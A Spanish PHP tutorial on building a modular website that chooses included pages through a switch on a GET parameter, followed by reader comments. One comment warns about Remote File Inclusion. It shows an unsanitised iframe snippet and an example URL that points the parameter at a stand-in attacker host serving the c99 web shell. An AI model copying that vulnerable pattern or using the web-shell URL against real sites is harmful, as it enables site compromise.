Que tal users de mix informatico, antes que nada vamos a nesesitar algunos conocimientos previos de los lenguajes php , html y css, cabe mensionar que pueden lograr crear la web modular sin estos conocimientos pero les costara un poco mas de trabajo, bueno para comenzar vamos a crear un archivo php a el cual nombraremos:
Contenido.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <? switch ($_GET["seccion"]){ case 'noticias'; include("modulos/principal.php"); break; case 'linux'; include("modulos/linux.php"); break; case 'descargar'; include("modulos/descargar.php"); break; default: include("modulos/principal.php"); } ?> |
el metodo de seleccion switch () ya lohempos utilizado en otros lenguajes como java este funciona de la siguiente manera cuando switch recibe un parametro por ejemplo switch(‘miwebprincipal’) se ira comparando en cada caso (case) aver si existe alguno que contenga ese nombre por ejemplo:
1 2 3 4 5 6 7 8 9 | <? $query='miwebprincipal' switch($query){ //en este caso entrara case 'miwebprincipal': //aqui entrara break; } ?> |
el break; sirve para que no se siga comparando con los demas casos y hay termine de comparar y asi muestra lo que tenga ese caso. Ahora nesesitamos incluir ese Contenido.php a un index o alguna pagina principal entonces creamos:
Index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Ejemplo de Web Modular</title>
<style>
body{
padding:0;
margin:0 auto;
background:url(imagenes/bck.jpg) repeat-x;
}
.principal{
padding:0;
margin:0 auto;
width:900px;
background:#cccccc;
border-right: 1px solid #000000;
border-left: 1px solid #000000;
}
.cuadros{
background:#ffffff; height:400px;
border-right: 1px solid #000000;
border-left: 1px solid #000000;
border-top: 1px solid #000000;
border-bottom: 1px solid #000000;
}
.link{
height:20px;
}
A:link {
FONT-SIZE: 13px;
COLOR:#FF3300;
FONT-FAMILY: arial, helvetica, verdana, sans-serif;
text-decoration: none;
}
A:visited {
FONT-SIZE: 13px;
COLOR:#FF3300;
FONT-FAMILY: arial, helvetica, verdana, sans-serif;
TEXT-DECORATION: none;
}
A:active {
FONT-SIZE: 13px;
COLOR:#FF3300;
FONT-FAMILY: arial, helvetica, verdana, sans-serif;
TEXT-DECORATION: none;
}
A:hover {
font-size: 13px;
color: #7ed9ff;
font-family: arial, helvetica, verdana, sans-serif;
}
</style>
</head>
<body>
<center>
<div align="center"><img width="900" height="100" src="imagenes/header.gif" alt="Cabecera" /></div>
<div>
<table width="900" border="0" cellspacing="10" cellpadding="1">
<tr>
<td width="250">
<div>
<div><a href="index.php?seccion=principal"><B>Principal</B></a></div>
<div><a href="index.php?seccion=linux"><B>Apache en Linux</B></a></div>
<div><a href="index.php?seccion=descargar"><B>Descargar Template</B></a></div>
</div>
</td>
<td>
<div>
<div style="border: 0px solid #D1D1D1; OVERFLOW-y: scroll; OVERFLOW-x: hidden; HEIGHT: 400px">
<?
include("contenido.php");
?>
</div>
</div>
</td>
</tr>
</table>
</div>
<table width="900" border="2" cellspacing="0" cellpadding="5">
<tr>
<td align="center">Copyright 2010 www.mixinformatico.com</td>
</tr>
</table>
</center>
</body>
</html> |
Bueno ya saben la inclusion del contenido la haremos en la parte qeu sutedes gusten del index esto ya sera para lo estetico y lo hacemos de esta forma:
1 2 3 | <? include("contenido.php"); ?> |
los links para que nuestro contenido sea llamado lo se deven crear asi:
1 | <a href="index.php?seccion=principal"><B>Principal</B></a> |
este es el Css que hice para mi ejemplo pero ustedes pueden crearlo o modificarlo a su gusto:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <style> body{ padding:0; margin:0 auto; background:url(imagenes/bck.jpg) repeat-x; } .principal{ padding:0; margin:0 auto; width:900px; background:#cccccc; border-right: 1px solid #000000; border-left: 1px solid #000000; } .cuadros{ background:#ffffff; height:400px; border-right: 1px solid #000000; border-left: 1px solid #000000; border-top: 1px solid #000000; border-bottom: 1px solid #000000; } .link{ height:20px; } A:link { FONT-SIZE: 13px; COLOR:#FF3300; FONT-FAMILY: arial, helvetica, verdana, sans-serif; text-decoration: none; } A:visited { FONT-SIZE: 13px; COLOR:#FF3300; FONT-FAMILY: arial, helvetica, verdana, sans-serif; TEXT-DECORATION: none; } A:active { FONT-SIZE: 13px; COLOR:#FF3300; FONT-FAMILY: arial, helvetica, verdana, sans-serif; TEXT-DECORATION: none; } A:hover { font-size: 13px; color: #7ed9ff; font-family: arial, helvetica, verdana, sans-serif; } </style> |
Aqui les dejo una captura:
Bueno aqui les dejo el demo:
http://webmodular.mixinformatico.com/
Y aqui la descarga:
descargar
Esta forma es perfecta, Pero hay muchas personas que se ponen a inventar y lo que hacen es hacer su pagina vulnerable a RFI, El codigo vulnerable seria algo como:
$session = $_GET['seccion'];
echo “<iframe src='$session' “; // No me acuerdo el code del iframe xDDD
y al poner en la url .php?session=archivo.php, podrian modificarlo y poner .php?session=http://www.web-atacante.com/c99.php
o algo asi
esta bueno pero areglen el link de descarga me hace falta el demo para poder acoplar ami web q esta en html =( zpero rezpueztaz
ezta bueno pero porfabor renueven el link de descarga kisiera aprender con el demo